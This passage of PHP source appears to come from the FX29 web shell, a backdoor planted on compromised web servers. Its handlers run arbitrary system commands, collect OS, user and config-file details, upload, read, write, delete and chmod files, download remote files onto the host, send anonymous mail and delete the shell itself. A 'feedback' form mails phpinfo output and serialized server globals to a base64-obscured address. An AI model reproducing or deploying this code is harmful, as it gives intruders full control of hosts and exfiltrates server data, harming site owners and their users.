1197 array("Cpanel Config","/var/cpanel/accounting.log"),
1198 array("Apache Config","/usr/local/apache/conf/httpd.conf"),
1199 array("Apache Config","/etc/httpd.conf"),
1200 array("Syslog Config","/etc/syslog.conf"),
1201 array("Message of The Day","/etc/motd"),
1202 array("Hosts","/etc/hosts")
1203 );
1204 $sep = "/";
1205 }
1206 else {
1207 $windir = $_SERVER["WINDIR"];
1208 $etcdir = $windir.'\system32\drivers\etc\\';
1209 $v = array(
1210 array("Hosts",$etcdir."hosts"),
1211 array("Local Network Map",$etcdir."networks"),
1212 array("LM Hosts",$etcdir."lmhosts.sam"),
1213 );
1214 $sep = "\\";
1215 }
1216 foreach ($v as $sec_arr) {
1217 $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
1218 $sec_d = rtrim($sec_arr[1],$sec_f);
1219 $sec_full = $sec_d.$sec_f;
1220 $sec_d = rtrim($sec_d,$sep);
1221 if (file_get_contents($sec_full)) {
1222 echo "\t[ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ]\n";
1223 }
1224 }
1225?>
1226 </td></tr>
1227<?php
1228 function dispsecinfo($name,$value) {
1229 if (!empty($value)) {
1230 echo "\t<tr><td>".$name."</td><td>\n".
1231 "<pre>".wordwrap($value,100)."</pre>\n".
1232 "\t</td></tr>\n";
1233 }
1234 }
1235
1236 if (!is_windows()) {
1237 dispsecinfo("OS Version",fx29exec("cat /proc/version"));
1238 dispsecinfo("Kernel Version",fx29exec("sysctl -a | grep version"));
1239 dispsecinfo("Distrib Name",fx29exec("cat /etc/issue.net"));
1240 dispsecinfo("Distrib Name (2)",fx29exec("cat /etc/*-realise"));
1241 dispsecinfo("CPU Info",fx29exec("cat /proc/cpuinfo"));
1242 dispsecinfo("RAM",fx29exec("free -m"));
1243 dispsecinfo("HDD Space",fx29exec("df -h"));
1244 dispsecinfo("List of Attributes",fx29exec("lsattr -a"));
1245 dispsecinfo("Mount Options",fx29exec("cat /etc/fstab"));
1246 dispsecinfo("lynx installed?",fx29exec("which lynx"));
1247 dispsecinfo("links installed?",fx29exec("which links"));
1248 dispsecinfo("GET installed?",fx29exec("which GET"));
1249 dispsecinfo("Where is Apache?",fx29exec("whereis apache"));
1250 dispsecinfo("Where is perl?",fx29exec("whereis perl"));
1251 dispsecinfo("Locate proftpd.conf",fx29exec("locate proftpd.conf"));
1252 dispsecinfo("Locate httpd.conf",fx29exec("locate httpd.conf"));
1253 dispsecinfo("Locate my.conf",fx29exec("locate my.conf"));
1254 dispsecinfo("Locate psybnc.conf",fx29exec("locate psybnc.conf"));
1255 }
1256 else {
1257 dispsecinfo("OS Version",fx29exec("ver"));
1258 dispsecinfo("Account Settings",fx29exec("net accounts"));
1259 dispsecinfo("User Accounts",fx29exec("net user"));
1260 }
1261 echo "</table>\n";
1262 }
1263
1264 ##[ MAKE FILE ]##
1265 if ($act == "mkfile") {
1266 if ($mkfile != $d) {
1267 if ($overwrite == 0) {
1268 if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); }
1269 }
1270 else {
1271 if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); }
1272 else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {
1273 $d .= DIRECTORY_SEPARATOR;
1274 }
1275 $f = basename($mkfile);
1276 }
1277 }
1278 }
1279 else { disp_error("Enter filename!"); }
1280 }
1281
1282 ##[ ENCODER ]##
1283 if ($act == "encoder") {
1284 if (!isset($encoder_input)) { $encoder_input = ""; }
1285?>
1286<script language="javascript"> function set_encoder_input(text) { document.forms.encoder.input.value = text; }</script>
1287
1288<form name="encoder" action="<?php echo $surl; ?>" method=POST>
1289 <input type="hidden" name="act" value="encoder">
1290 <table class="contents">
1291 <tr><td colspan="4" class="barheader">.: Encoder :.</td></tr>
1292 <tr><td colspan="2">Input:</td><td><textarea name="encoder_input" id="input" cols="70" rows="5"><?php echo @htmlspecialchars($encoder_input); ?></textarea><br>
1293 <input type="submit" value="Calculate">
1294 </td></tr>
1295 <tr><td rowspan="4">Hashes:</td>
1296<?php
1297 foreach(array("md5","crypt","sha1","crc32") as $v) {
1298?>
1299 <td><?php echo $v; ?>:</td><td><input type="text" size="50" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo $v($encoder_input); ?>" readonly>
1300 </td></tr>
1301 <tr>
1302<?php
1303 }
1304?>
1305 </tr>
1306 <tr><td rowspan=2>Url:</td>
1307 <td>urlencode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo urlencode($encoder_input); ?>" readonly>
1308 </td></tr>
1309 <tr><td>urldecode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo htmlspecialchars(urldecode($encoder_input)); ?>" readonly>
1310 </td></tr>
1311 <tr><td rowspan=2>Base64:</td>
1312 <td>base64_encode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo base64_encode($encoder_input); ?>" readonly>
1313 </td></tr>
1314 <tr><td>base64_decode:</td>
1315 <td>
1316<?php
1317 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {
1318?>
1319 <input type="text" size="35" value="Failed!" disabled readonly>
1320<?php
1321 }
1322 else {
1323 $debase64 = base64_decode($encoder_input);
1324 $debase64 = str_replace("\0","[0]",$debase64);
1325 $a = explode("\r\n",$debase64);
1326 $rows = count($a);
1327 $debase64 = htmlspecialchars($debase64);
1328 if ($rows == 1) {
1329 echo "\t\t<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";
1330 }
1331 else {
1332 $rows++;
1333 echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";
1334 }
1335 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>\n";
1336 }
1337 echo "\t\t</td></tr>\n".
1338 "\t\t<tr><td>Base convertations:</td><td>dec2hex</td><td>".
1339 "<input type=\"text\" size=\"35\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"\"";
1340 $c = strlen($encoder_input);
1341 for ($i=0;$i<$c;$i++) {
1342 $hex = dechex(ord($encoder_input[$i]));
1343 if ($encoder_input[$i] == "&") { echo $encoder_input[$i]; }
1344 elseif ($encoder_input[$i] != "\\") { echo "%".$hex; }
1345 }
1346 echo "\" readonly>\n";
1347?>
1348 </td></tr>
1349 </table>
1350</form>
1351<?php
1352 }
1353
1354 ##[ FILESYSTEM BUFFER ]##
1355 if ($act == "fsbuff") {
1356 $arr_copy = $sess_data["copy"];
1357 $arr_cut = $sess_data["cut"];
1358 $arr = array_merge($arr_copy,$arr_cut);
1359 if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
1360 else {
1361 $fx_infohead = "File-System Buffer";
1362 $ls_arr = $arr;
1363 $disp_fullpath = TRUE;
1364 $act = "ls";
1365 }
1366 }
1367
1368 ##[ SELF REMOVE ]##
1369 if ($act == "selfremove") {
1370?>
1371<div class="barheader">
1372 .: SELF KILL :.
1373 <hr size="1" noshade>
1374
1375<?php
1376 if ((@$submit == @$rndcode) && (@$submit != "")) {
1377 if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".sh_name()."!"; fx29shexit(); }
1378 else { disp_error("Can't delete ".__FILE__."!"); }
1379 }
1380 else {
1381 if (!empty($rndcode)) { disp_error("Error: Incorrect confirmation code!"); }
1382 $rnd = rand(0,9).rand(0,9).rand(0,9);
1383?>
1384<form name="f_killshell" action="<?php echo $surl; ?>">
1385 <input type="hidden" name="act" value="selfremove">
1386 <input type="hidden" name="rndcode" value="<?php echo $rnd; ?>">
1387 Are you sure want to remove this shell ?<br>
1388 <?php disp_error(__FILE__); ?>
1389 <br>For confirmation, enter "<?php echo $rnd; ?>"<br>
1390 <input type="text" name="submit"><br>
1391 <input type="submit" value="KILL">
1392</form>
1393</div>
1394<?php
1395 }
1396 }
1397
1398 ##[ FEEDBACK ]##
1399 if ($act == "feedback") {
1400 $suppmail = base64_decode("ZmVlbGNvbXpAZ21haWwuY29t");
1401 if (!empty($submit)) {
1402 $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
1403 $body = sh_name()." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
1404 if (!empty($fdbk_ref)) {
1405 $tmp = @ob_get_contents();
1406 ob_clean();
1407 phpinfo();
1408 $phpinfo = base64_encode(ob_get_contents());
1409 ob_clean();
1410 echo $tmp;
1411 $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
1412 }
1413 mail($suppmail,sh_name()." feedback #".$ticket,$body,"FROM: ".$suppmail);
1414 echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
1415 }
1416 else {
1417?>
1418<div class="barheader">.: Feedback or report bug (<?php echo str_replace(array("@","."),array("[at]","[dot]"),$suppmail); ?>) :.</div>
1419
1420<form name="f_feedback" action="<?php echo $surl; ?>" method="POST">
1421 <input type="hidden" name="act" value="feedback">
1422 <table class="contents">
1423 <tr><th>Your name:</th><td><input type="text" name="fdbk_name" value="<?php echo htmlspecialchars(@$fdbk_name); ?>"></td</tr>
1424 <tr><th>Your e-mail:</th><td><input type="text" name="fdbk_email" value="<?php echo htmlspecialchars(@$fdbk_email); ?>"></td></tr>
1425 <tr><th>Message:</th><td><textarea name="fdbk_body" cols=80 rows=10><?php echo htmlspecialchars(@$fdbk_body); ?></textarea>
1426 <input type="hidden" name="fdbk_ref" value="<?php echo urlencode($HTTP_REFERER); ?>"><br>
1427 <input type="checkbox" name="fdbk_servinf" value="1" checked> Attach Server info (Recommended for bug-fix)</td></tr>
1428 <tr><td></td><td><input type="submit" name="submit" value="Send"></td></tr>
1429 </table>
1430</form>
1431<?php
1432 }
1433 }
1434
1435 ##[ PHP MAILER (By FaTaLisTiCz_Fx) ]##
1436 if ($act == "fxmailer") {
1437?>
1438 <div class="barheader">.: Mailer :.</div>
1439<?php
1440 if (!empty($submit)){
1441 $headers = 'To: '.$dest_email."\n";
1442 $headers .= 'From: '.$sender_name.' '.$sender_email."\n";
1443 if (mail($dest_email,$sender_subj,$sender_body,$headers)) {
1444 echo "<center><b>Email sent to $dest_email!</b></center>";
1445 }
1446 else { disp_error("Can't send email!"); }
1447 }
1448 else {
1449 ?>
1450<form name="f_mailer" action="<?php echo $surl; ?>" method="POST">
1451 <input type="hidden" name="act" value="fxmailer">
1452 <table class="contents">
1453 <tr><th>Your name:</th><td><input type="text" name="sender_name" value="<?php echo @htmlspecialchars($sender_name); ?>"></td></tr>
1454 <tr><th>Your e-mail:</th><td><input type="text" name="sender_email" value="<?php echo @htmlspecialchars($sender_email); ?>"></td></tr>
1455 <tr><th>To:</th><td><input type="text" name="dest_email" value="<?php @htmlspecialchars($dest_email); ?>"></td></tr>
1456 <tr><th>Subject:</th><td><input size="70" type="text" name="sender_subj" value="<?php echo @htmlspecialchars($sender_subj); ?>"></td></tr>
1457 <tr><th>Message:</th><td><textarea name="sender_body" cols="80" rows="10"><?php echo @htmlspecialchars($sender_body); ?></textarea></td></tr>
1458 <tr><th></th><td><input type="submit" name="submit" value="Send"></td></tr>
1459 </table>
1460</form>
1461<?php
1462 }
1463 }
1464
1465 ##[ SEARCH ]##
1466 if ($act == "search") {
1467?>
1468<div class=barheader>.: Filesystem Search :.</div>
1469
1470<?php
1471 if (empty($search_in)) {$search_in = $d;}
1472 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
1473 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
1474 if (!empty($submit)) {
1475 $found = array();
1476 $found_d = 0;
1477 $found_f = 0;
1478 $search_i_f = 0;
1479 $search_i_d = 0;
1480 $a = array(
1481 "name" => @$search_name,
1482 "name_regexp" => @$search_name_regexp,
1483 "text" => @$search_text,
1484 "text_regexp" => @$search_text_regxp,
1485 "text_wwo" => @$search_text_wwo,
1486 "text_cs" => @$search_text_cs,
1487 "text_not" => @$search_text_not
1488 );
1489 $searchtime = getmicrotime();
1490 $in = array_unique(explode(";",$search_in));
1491 foreach($in as $v) { fx29fsearch($v); }
1492 $searchtime = round(getmicrotime()-$searchtime,4);
1493 if (count($found) == 0) { echo "No files found!"; }
1494 else {
1495 $ls_arr = $found;
1496 $disp_fullpath = TRUE;
1497 $act = "ls";
1498 }
1499 }
1500?>
1501<form name="f_search" method="POST">
1502 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
1503 <input type="hidden" name="act" value="<?php echo $dspact; ?>">
1504 <table class="contents">
1505 <tr><th>File or folder Name:</th><td><input type="text" name="search_name" size="<?php echo round(strlen($search_name)+25); ?>" value="<?php echo htmlspecialchars($search_name); ?>"> <input type="checkbox" name="search_name_regexp" value="1" <?php echo (@$search_name_regexp == 1?" checked":""); ?>> Regular Expression</td></tr>
1506 <tr><th>Look in (Separate by ";"):</th><td><input type="text" name="search_in" size="<?php echo round(strlen($search_in)+25); ?>" value="<?php echo htmlspecialchars($search_in); ?>"></td></tr>
1507 <tr><th>A word or phrase in the file:</th><td><textarea name="search_text" cols="50" rows="5"><?php echo htmlspecialchars(@$search_text); ?></textarea></td></tr>
1508 <tr><th></th><td>
1509 <input type="checkbox" name="search_text_regexp" value="1" <?php echo (@$search_text_regexp == 1?" checked":""); ?>> Regular Expression
1510 <input type="checkbox" name="search_text_wwo" value="1" <?php echo (@$search_text_wwo == 1?" checked":""); ?>> Whole words only
1511 <input type="checkbox" name="search_text_cs" value="1" <?php echo (@$search_text_cs == 1?" checked":""); ?>> Case sensitive
1512 <input type="checkbox" name="search_text_not" value="1" <?php echo (@$search_text_not == 1?" checked":""); ?>> Find files NOT containing the text
1513 </td></tr>
1514 <tr><th></th><td><input type="submit" name="submit" value="Search"></td></tr>
1515 </table>
1516</form>
1517<?php
1518 if ($act == "ls") {
1519 $dspact = $act;
1520 echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>\n".
1521 "<hr size=\"1\" noshade>\n";
1522 }
1523 }
1524
1525 ##[ CHMOD]##
1526 if ($act == "chmod") {
1527 $mode = fileperms($d.$f);
1528 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
1529 else {
1530 $form = TRUE;
1531 if ($chmod_submit) {
1532 $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
1533 if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
1534 else {$err = "Can't chmod to ".$octet.".";}
1535 }
1536 if ($form) {
1537 $perms = parse_perms($mode);
1538 echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b>\n".
1539 "<br>".($err?"<b>Error:</b> ".$err:"")."\n".
1540 "<form name=\"f_chmod\" action=\"".$surl."\" method=POST>\n".
1541 "<input type=hidden name=d value=\"".htmlspecialchars($d)."\">\n".
1542 "<input type=hidden name=f value=\"".htmlspecialchars($f)."\">\n".
1543 "<input type=hidden name=act value=chmod>\n".
1544 "<table><tr>\n".
1545 "<td><b>Owner</b><br><br>\n".
1546 "<input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br>\n".
1547 "<input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br>\n".
1548 "<input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"")."> eXecute</td>\n".
1549 "<td><b>Group</b><br><br>\n".
1550 "<input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br>\n".
1551 "<input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br>\n".
1552 "<input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"")."> eXecute</td>\n".
1553 "<td><b>World</b><br><br>\n".
1554 "<input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br>\n".
1555 "<input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br>\n".
1556 "<input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"")."> eXecute</td>\n".
1557 "</tr>\n".
1558 "<tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr>\n".
1559 "</table>\n".
1560 "</form>\n";
1561 }
1562 }
1563 }
1564
1565 ##[ UPLOAD ]##
1566 if ($act == "upload") {
1567 $uploadmess = "";
1568 $uploadpath = (isset($uploadpath)) ? str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath) : $d;
1569 if (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) { $uploadpath .= DIRECTORY_SEPARATOR; }
1570 if (!empty($submit)) {
1571 $uploadfile = $_FILES["uploadfile"];
1572 if (!empty($uploadfile["tmp_name"])) {
1573 if (empty($uploadfilename)) { $destin = $uploadfile["name"]; }
1574 else { $destin = $userfilename; }
1575 if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
1576 $uploadmess .= "<div class=errmsg>Error uploading file ".$uploadfile["name"]." (Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!</div>";
1577 }
1578 else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
1579 }
1580 else { $uploadmess .= "<div class=errmsg>No file to upload!</div>"; }
1581 }
1582 echo $uploadmess;
1583 $act = "ls";
1584 }
1585
1586 ##{ DELETE }##
1587 if ($act == "delete") {
1588 $delerr = "";
1589 foreach ($actbox as $v) {
1590 $result = FALSE;
1591 $result = fs_rmobj($v);
1592 if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; }
1593 }
1594 if (!empty($delerr)) { disp_error("Error deleting:<br>$delerr"); }
1595 $act = "ls";
1596 }
1597
1598 ##[ COPY ]##
1599 if ($act == "copy") {
1600 $err = "";
1601 $sess_data["copy"] = array_merge($sess_data["copy"],$actbox);
1602 fx29_sess_put($sess_data);
1603 $act = "ls";
1604 }
1605
1606 ##[ CUT ]##
1607 elseif ($act == "cut") {
1608 $sess_data["cut"] = array_merge($sess_data["cut"],$actbox);
1609 fx29_sess_put($sess_data);
1610 $act = "ls";
1611 }
1612
1613 ##[ UNSELECT ]##
1614 elseif ($act == "unselect") {
1615 foreach ($sess_data["copy"] as $k=>$v) {
1616 if (in_array($v,$actbox)) { unset($sess_data["copy"][$k]); }
1617 }
1618 foreach ($sess_data["cut"] as $k=>$v) {
1619 if (in_array($v,$actbox)) { unset($sess_data["cut"][$k]); }
1620 }
1621 fx29_sess_put($sess_data);
1622 $act = "ls";
1623 }
1624
1625 ##[ EMPTY BUFFER ]##
1626 if (@$actemptybuff) { $sess_data["copy"] = $sess_data["cut"] = array(); fx29_sess_put($sess_data); }
1627
1628 ##[ PASTE BUFFER ]##
1629 elseif (@$actpastebuff) {
1630 $psterr = "";
1631 foreach($sess_data["copy"] as $k=>$v) {
1632 $to = $d.basename($v);
1633 if (!fs_copy_obj($v,$to)) { $psterr .= "Can't copy ".$v." to ".$to."!<br>"; }
1634 if ($copy_unset) { unset($sess_data["copy"][$k]); }
1635 }
1636 foreach($sess_data["cut"] as $k=>$v) {
1637 $to = $d.basename($v);
1638 if (!fs_move_obj($v,$to)) { $psterr .= "Can't move ".$v." to ".$to."!<br>"; }
1639 unset($sess_data["cut"][$k]);
1640 }
1641 fx29_sess_put($sess_data);
1642 if (!empty($psterr)) { disp_error("Pasting with errors:<br>$psterr"); }
1643 $act = "ls";
1644 }
1645
1646 ##[ ARCHIVE BUFFER ]##
1647 elseif (@$actarcbuff) {
1648 $arcerr = "";
1649 if (substr($actarcbuff_path,-7,7) == ".tar.gz") { $ext = ".tar.gz"; }
1650 else { $ext = ".tar.gz"; }
1651 if ($ext == ".tar.gz") { $cmdline = "tar cfzv"; }
1652 $cmdline .= " ".$actarcbuff_path;
1653 $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
1654 foreach($objects as $v) {
1655 $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
1656 if (substr($v,0,strlen($d)) == $d) { $v = basename($v); }
1657 if (is_dir($v)) {
1658 if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
1659 $v .= "*";
1660 }
1661 $cmdline .= " ".$v;
1662 }
1663 $tmp = realpath(".");
1664 chdir($d);
1665 $ret = fx29exec($cmdline);
1666 chdir($tmp);
1667 if (empty($ret)) { $arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>"; }
1668 $ret = str_replace("\r\n","\n",$ret);
1669 $ret = explode("\n",$ret);
1670 if ($copy_unset) { foreach($sess_data["copy"] as $k=>$v) { unset($sess_data["copy"][$k]); } }
1671 foreach($sess_data["cut"] as $k=>$v) {
1672 if (in_array($v,$ret)) { fs_rmobj($v); }
1673 unset($sess_data["cut"][$k]);
1674 }
1675 fx29_sess_put($sess_data);
1676 if (!empty($arcerr)) { disp_error("Archivation errors:<br>$arcerr"); }
1677 $act = "ls";
1678 }
1679 ##[ CMD ]##
1680 if ($act == "cmd") {
1681 @chdir($chdir);
1682 if (!empty($submit)) {
1683 echo "<div class=barheader>.: Command Output :.</div>\n";
1684 $olddir = realpath(".");
1685 @chdir($d);
1686 $ret = fx29exec($cmd);
1687 $ret = convert_cyr_string($ret,"d","w");
1688 if ($cmd_txt) {
1689 $rows = count(explode("\n",$ret))+1;
1690 if ($rows < 10) { $rows = 10; } else { $rows = 30; }
1691 $cols = 125;
1692 echo "<textarea class=\"shell\" cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n";
1693 }
1694 else { echo $ret."<br>"; }
1695 @chdir($olddir);
1696 }
1697 }
1698 ##[ PHP FILESYSTEM (By FaTaLisTiCz_Fx) ]##
1699 if ($act == "phpfsys") {
1700 echo "<div align=left>";
1701 $fsfunc = $phpfsysfunc;
1702 if ($fsfunc=="copy") {
1703 if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
1704 else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
1705 }
1706 elseif ($fsfunc=="rename") {
1707 if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
1708 else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
1709 }
1710 elseif ($fsfunc=="chmod") {
1711 if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
1712 else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
1713 }
1714 elseif ($fsfunc=="read") {
1715 $darg = $d.$arg1;
1716 if ($hasil = @file_get_contents($darg)) {
1717 echo "<b>Filename:</b> ".$darg."<br>";
1718 echo "<center><textarea cols=125 rows=30>";
1719 echo htmlentities($hasil);
1720 echo "</textarea></center>\n";
1721 }
1722 else { disp_error("Couldn't open $darg"); }
1723 }
1724 elseif ($fsfunc=="write") {
1725 $darg = $d.$arg1;
1726 if(@file_put_contents($darg,$arg2)) {
1727 echo "<b>Saved!</b> ".$darg;
1728 }
1729 else { disp_error("Can't write to $darg!"); }
1730 }
1731 elseif ($fsfunc=="downloadbin") {
1732 $handle = fopen($arg1, "rb");
1733 $contents = '';
1734 while (!feof($handle)) {
1735 $contents .= fread($handle, 8192);
1736 }
1737 $r = @fopen($d.$arg2,'w');
1738 if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
1739 else { disp_error("Can't write to ".$d.$arg2."!"); }
1740 fclose($r);
1741 fclose($handle);
1742 }
1743 elseif ($fsfunc=="download") {
1744 $text = implode('', file($arg1));
1745 if ($text) {
1746 $r = @fopen($d.$arg2,'w');
1747 if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
1748 else { disp_error("Can't write to ".$d.$arg2."!"); }
1749 fclose($r);
1750 }
1751 else { disp_error("Can't download from $arg1!");}
1752 }
1753 elseif ($fsfunc=='mkdir') {
1754 $thedir = $d.$arg1;
1755 if ($thedir != $d) {
1756 if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
1757 elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
1758 else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
1759 }
1760 else { echo "Can't create current dir:<b> $thedir</b>"; }
1761 }
1762 elseif ($fsfunc=='fwritabledir') {
1763 function recurse_dir($dir,$max_dir) {
1764 global $dir_count;
1765 $dir_count++;
1766 if( $cdir = dir($dir) ) {
1767 while( $entry = $cdir-> read() ) {
1768 if( $entry != '.' && $entry != '..' ) {
1769 if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
1770 if ($dir_count > $max_dir) { return; }
1771 echo "[".$dir_count."] ".$dir.$entry."\n";
1772 recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
1773 }
1774 }
1775 }
1776 $cdir->close();
1777 }
1778 }
1779 if (!$arg1) { $arg1 = $d; }
1780 if (!$arg2) { $arg2 = 10; }
1781 if (is_dir($arg1)) {
1782 echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>";
1783 echo "<pre>";
1784 recurse_dir($arg1,$arg2);
1785 echo "</pre>";
1786 $total = $dir_count - 1;
1787 echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2";
1788 }
1789 else {
1790 disp_error("Directory is not exists or permission denied!");
1791 }
1792 }
1793 else {
1794 if (!$arg1) { disp_error("No operation! Please fill 1st parameter!"); }
1795 else {
1796 if ($hasil = $fsfunc($arg1)) {
1797 echo "<b>Result of $fsfunc $arg1:</b><br>";
1798 if (!is_array($hasil)) { echo "$hasil\n"; }
1799 else {
1800 echo "<pre>";
1801 foreach ($hasil as $v) { echo $v."\n"; }
1802 echo "</pre>";
1803 }
1804 }
1805 else { disp_error("$fsfunc $arg1 failed!"); }
1806 }
1807 }
1808 echo "</div>\n";
1809 }
1810
1811 ##[ DIRECTORY LIST ]##
1812 if ($act == "ls") {
1813 if (count($ls_arr) > 0) { $list = $ls_arr; }
1814 else {
1815 $list = array();
1816 if ($h = @opendir($d)) {
1817 while (($o = readdir($h)) !== FALSE) { $list[] = $d.$o; }
1818 closedir($h);
1819 }
1820 }
1821 if (count($list) == 0) {
1822 disp_error("No such directory or access denied!<br>".htmlspecialchars($d));
1823 }
1824 else {
1825 $objects = array();
1826 $vd = "f"; #Viewing mode
1827 if ($vd == "f") {
1828 $objects["head"] = array();
1829 $objects["folders"] = array();
1830 $objects["links"] = array();
1831 $objects["files"] = array();
1832 foreach ($list as $v) {
1833 $o = basename($v);
1834 $row = array();
1835 if ($o == ".") { $row[] = $d.$o; $row[] = "CURDIR"; }
1836 elseif ($o == "..") { $row[] = $d.$o; $row[] = "DIR"; }
1837 elseif (is_dir($v)) {
1838 if (is_link($v)) { $type = "LINK"; }
1839 else { $type = "DIR"; }
1840 $row[] = $v;
1841 $row[] = $type;
1842 }
1843 elseif(is_file($v)) { $row[] = $v; $row[] = filesize($v); }
1844 $row[] = filemtime($v);
1845 if (!is_windows()) {
1846 $ow = posix_getpwuid(fileowner($v));
1847 $gr = posix_getgrgid(filegroup($v));
1848 $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
1849 }
1850 $row[] = fileperms($v);
1851 if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
1852 elseif (is_link($v)) { $objects["links"][] = $row; }
1853 elseif (is_dir($v)) { $objects["folders"][] = $row; }
1854 elseif (is_file($v)) { $objects["files"][] = $row; }
1855 $i++;
1856 }
1857 $row = array();
1858 $row[] = "<b>Name</b>";
1859 $row[] = "<b>Size</b>";
1860 $row[] = "<b>Date Modified</b>";
1861 if (!is_windows()) {$row[] = "<b>Owner/Group</b>";}
1862 $row[] = "<b>Perms</b>";
1863 $row[] = "<b>Action</b>";
1864 $parsesort = parsesort($sort);
1865 $sort = $parsesort[0].$parsesort[1];
1866 $k = $parsesort[0];
1867 if ($parsesort[1] != "a") {$parsesort[1] = "d";}
1868 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
1869 $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" alt=\"".($parsesort[1] == "a"?"Asc":"Desc")."\"></a>";
1870 $row[$k] .= $y;
1871 for($i=0;$i<count($row)-1;$i++) {
1872 if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
1873 }
1874 $v = $parsesort[0];
1875 usort($objects["folders"], "tabsort");
